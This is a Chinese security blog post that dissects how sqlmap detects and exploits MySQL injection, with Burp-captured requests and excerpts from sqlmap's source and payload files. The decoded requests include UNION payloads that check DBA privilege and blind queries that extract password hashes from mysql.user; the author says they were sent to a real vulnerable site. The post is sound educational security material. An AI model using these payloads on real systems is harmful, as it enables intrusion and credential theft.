文章转自信安之路,作者:sher10ck

很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什么?

本文就用我们看的见的角度来分析,看看 sqlmap 到底发送了什么 payload,这些 payload 是怎么出来的,不深入代码层面。

技术有限,若有错误指出来,感激不尽。

测试环境

sqlmap(1.3.6.58#dev)Burp Suitehttp://attack.com?1.php?id=1

测试方法

利用 sqlmap 的 proxy 参数,我们将代理设置为 8080 端口用 burpsuite 进行抓包。

sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080"

(测试了很久好像本地搭建的环境无法抓包,所以就找了有注入点的网站,漏洞已上报给漏洞平台)

抓取到的包如下:

sqlmap的准备工作

我们也观察到,sqlmap 默认发送的 User-Agent 是这样的:

User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)

所以为了避免被 waf 或者日志里面记录,我们一般可以添加一个 --random-agent 参数在后面。

首先我们的 sqlmap 会连续发送出很多数据包来检测目标网站是否稳定:

GET /xxxx.php?id=1 HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable

接下来会检测是否为 dynamic,和上面的请求包相比,sqlmap 修改了 id 后面的值

GET /xxxx.php?id=2324 HTTP/1.1
Host: www.xxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache[INFO] testing if GET parameter 'id' is dynamic

看不懂这是什么骚操作,我们来看看源码里面怎么说 (sqlmap\lib\controller\checks.py)

def checkDynParam(place, parameter, value):"""This function checks if the URL parameter is dynamic. If it isdynamic, the content of the page differs, otherwise thedynamicity might depend on another parameter."""

根据输出语句的关键词查找,我追踪到了这个 checkDynParam 函数,大概的作用就是修改我们现在获取到的参数值,看修改前后的页面返回是否相同(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的),若有变化(或者说这个参数是真实有效的),sqlmap 才会走到下一步。
下一步的数据包和功能如下:

GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1
Host: www.xxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

我们将上面的 url 编码解码:

/xxxx.php?id=1%27.%29%2C%2C.%28.%29%22
/xxxx.php?id=1'.),,.(.)"

这几个字符串就能判断是 Mysql 数据库?又是什么骚操作,再看看源码吧 (sqlmap\lib\controller\ckecks.py):

infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()

找到了一条语句,跟踪这个 getErrorParsedDBMSes() 函数

def getErrorParsedDBMSes():"""Parses the knowledge base htmlFp list and return its valuesformatted as a human readable string.@return: list of possible back-end DBMS based upon error messagesparsing.@rtype: C{str}"""

那么这个函数就是通过报错信息(就是上面的 payload) 来辨别数据库的类型,刚好我找的这个网站也是爆出了 Mysql 语句的错误,然后就通过正则 (sqlmap/data/xml/errors.xml) 识别出来啦,篇幅原因源码就不分析了。

SQLmap的注入分析

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] Y

上面 sqlmap 已经得到了数据库的类型并且参数也是有效的,接下来往下走 sqlmap 就开始判断注入了(这里直接用-v3 参数显示 payload 更加的清晰)。

这一块也是大家最需要搞清楚的一部分,很多小伙伴看着感觉有注入,哎,上 sqlmap,然后基本上一片红,但是实际上,按照 sqlmap 对注入的分类,我们可以更加清晰的了解 sqlmap 到底做了什么,这些东西是从哪里出来。

首先要说一下,sqlmap 有一个 —technique 参数,在运行的整个过程中,也是按照这几类来检测的:

--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: inline_query SQL injection(内联注入)

对这几种注入还不熟练于心的小伙伴们要好好补一下基础

那么这些主要的注入语句,我们可以在 sqlmap/data/xml/queries.xml 中查看了解,总结的还是挺全面的,这里截取一部分出来。

<dbms value="MySQL"><cast query="CAST(%s AS CHAR)"/><length query="CHAR_LENGTH(%s)"/><isnull query="IFNULL(%s,' ')"/><delimiter query=","/><limit query="LIMIT %d,%d"/><limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/><limitgroupstart query="1"/><limitgroupstop query="2"/><limitstring query=" LIMIT "/><order query="ORDER BY %s ASC"/><count query="COUNT(%s)"/><comment query="-- -" query2="/*" query3="#"/><substring query="MID((%s),%d,%d)"/><concatenate query="CONCAT(%s,%s)"/><case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/><hex query="HEX(%s)"/><inference query="ORD(MID((%s),%d,1))>%d"/><banner query="VERSION()"/><current_user query="CURRENT_USER()"/><current_db query="DATABASE()"/><hostname query="@@HOSTNAME"/>
......
......
......

对于每种类型的注入语句需要如何组合,在 sqlmap/data/xml/payloads 下有六个文件,里面主要是定义了测试的名称(也就是我们控制台中输出的内容)、风险等级、一些 payload 的位置等,了解一下就行了

  <test><title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title><stype>6</stype><level>1</level><risk>1</risk><clause>1,2,3,4,5</clause><where>1</where><vector>[UNION]</vector><request><payload/><comment>[GENERIC_SQL_COMMENT]</comment><char>[CHAR]</char><columns>[COLSTART]-[COLSTOP]</columns></request><response><union/></response></test>

同目录下还有一个 boundaries.xml 文件,里面主要是定义了一些闭合的符号,比方说我们注入点需要闭合,添加单引号、双引号、括号等一系列的组合方式,就是从这个文件当中提取出来的。

 <boundary><level>3</level><clause>1</clause><where>1,2</where><ptype>3</ptype><prefix>'))</prefix><suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix></boundary>

所以梳理一下思路,我们最终会发送给目标服务器的 payload,首先是需要闭合的 (boundaries.xml),然后从对应的注入类型的各种测试模板中提取相应的参数(比如:boolean_blind.xml),然后在 queries.xml 中取出相应的表达式,最后通过 tamper 的渲染,输出我们最终的 payload,也就是我们的 -v3 参数。

SQLmap的一些参数

我们主要分析以下两个命令:

--is-dba
--passwords

命令主要是判断 mysql 用户的一些信息,当我们发现注入可以利用的时候,下一步就是要看当前用户的权限看能有什么的操作了。

判断是否是dba权限

sqlmap 一共发了两个请求包:

GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cacheGET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

将 payload 解码:

/xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP/xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV

我们直接在 mysql 控制台下执行命令:

第一个命令返回了用户名, 0x71766a6271 解码为 qvjbq,那么这一步我们可以提取出用户名了。

第二个命令返回了 1 ,我们将查询命令提取出来

SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1

在 mysql 数据库下的 user 表中查询 super_priv (超级权限)的值:

返回了 Y,所以我们判断是否为 dba 的思路就是通过查看 mysql.user 下 super_priv 的值。
这个命令有一个坑,有的时候我们所注入的服务器上面并没有 mysql 这个数据库,所以用这个命令的前提是 mysql 这个数据库要存在。

查询密码

抓的包:

GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

解码:

/xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48

这里有个很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是从 mysql.user 中获取 authentication_string 的值,但是很有趣的是,这个值只有在 mysql 版本 5.7 以上,password 才会变成 authentication_string,我们也可以从 queries.xml 中找到这条语句:

<passwords><inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/><blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
</passwords>

发现默认就是这个 authentication_string,所以我们这里直接修改 queries.xml 中的语句,将查询的列明改成 password 再测试一下。

后面测试发现,我们在没有修改的情况下,sqlmap 也会跑出密码,而且查看 payload 之后,sqlmap 先是查了 authentication_string,然后查了 password:


看下源码,然后找到了( sqlmap/plugins/generic/users.py):

values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)

这里用 replace 将两个列明进行了替换,里面有个 ifel 的语句,要是第一次没找到就会进行替换,这样我们的问题就解决掉啦,sqlmap 还是想的挺周全的哈哈。

总结

sqlmap 里面的内容实在是太多太多,想要摸索里面的内容需要花费大量的时间,当然收获也是成正比的,搞清楚sqlmap 的流程原理,对我们 sql 注入技术会有很大的提升。

推荐阅读
https://www.anquanke.com/subject/id/160641

SQLmap在进行SQL注入时的整个流程相关推荐

  1. limit 后注入_聊一聊 SQLMAP 在进行 sql 注入时的整个流程

    本文作者:sher10ck(信安之路核心成员) 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发 ...

  2. 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试

    在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...

  3. 使用SQLMAP自动化探测SQL注入

    使用SQLMAP自动化探测SQL注入 文章目录 使用SQLMAP自动化探测SQL注入 0x01 SQLMAP介绍 1.SQLMAP 简介 2.sqlmap支持的注入类型 3.检查kali 系统中的 S ...

  4. SQLMap 扫描利用SQL注入

    一.SQLMap介绍 SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描.发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL .Oracle .Postgre ...

  5. Sqlmap查找SQL注入漏洞入门

    Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...

  6. 详解强大的SQL注入工具——SQLMAP

    本文转自:详解强大的SQL注入工具--SQLMAP 前言 Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别 ...

  7. sql注入漏洞和sqlmap的使用

    目录 什么是sql漏洞: sql语言: 数据库和网页用户请求的原理: sql注入原理: sql注入检测: sql注入检测工具: 实例演示: 漏洞防御 什么是sql漏洞: 这边采用了皮卡丘的sql漏洞的 ...

  8. Sqlmap速查表/功能移植/Python批量检测SQL注入

    title: Sqlmap速查表与Python进行功能移植 copyright: true top: 0 date: 2021-02-27 11:59:00 tags: [扫描注入,注入,sqlmap ...

  9. Backtrack5 SQL注入漏洞探测

    SQLMAP,它是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL. SQLMAP ...

最新文章

  1. python培训班哪些比较好-python培训机构哪家比较好?
  2. 霍尔传感器测量转向的方法
  3. SAP PP 中关于计划订单和生产订单的日期计算
  4. TCP UDP HTTP 的关系和区别
  5. FaceDetector(人脸识别)
  6. arm集群服务器_什么样的ARM处理器及内存配置适合用来开发ARM集群服务器?
  7. Java面试必问!2020-08-28(1)
  8. 方程根求解数值方法matlab实现二分法、牛顿法、斜截法,代码程序,手写思路,理论分析,最基本的操作
  9. Flink1.12 文档
  10. 数字图像处理实验三各种图像类型转换
  11. 求以下表达式的值,写出您想到的一种或几种实现方法: 1-2+3-4+……+m
  12. mysql 脱裤_mysql 脱裤(脱库)通用脚本 | 学步园
  13. 外汇期货股票 投资书籍下载
  14. PDF转成JPG,使用PDFTOJPG并去除水印
  15. 蓝牙那些事儿(5)——关于重传
  16. base64编码上传图片java后台接收实例
  17. 如何写会议 Rebuttal
  18. 麒麟V10 arm 环境配置yum源
  19. 【PCL自学:Filtering】PCL中的各类滤波器介绍与使用 (持续更新)
  20. win10 cvs服务器客户端操作(CVS Suite Studio,TortoiseCVS及WinCVS)

热门文章

  1. [2015 Springer] Local Image Descriptor: Modern Approaches——2 Classical Local Descriptors
  2. tekton入门 - piplinerun
  3. FAST-LIO2代码解析(三)
  4. 开车的26条教训!开车的人一定看看!
  5. MySQL系列---架构与SQL执行流程详解
  6. 关于ALEXA的流量排名的参数介绍
  7. 【转】工作3个月后个人对测绘专业的重新反思(重新思考武大测绘学科就业问题和读研问题)...
  8. OpenGL 纹理过滤和 mip 贴图
  9. 笔记本计算机名称PC2019,2019值得推荐的13寸笔记本电脑汇总
  10. GO语言入门教程(二)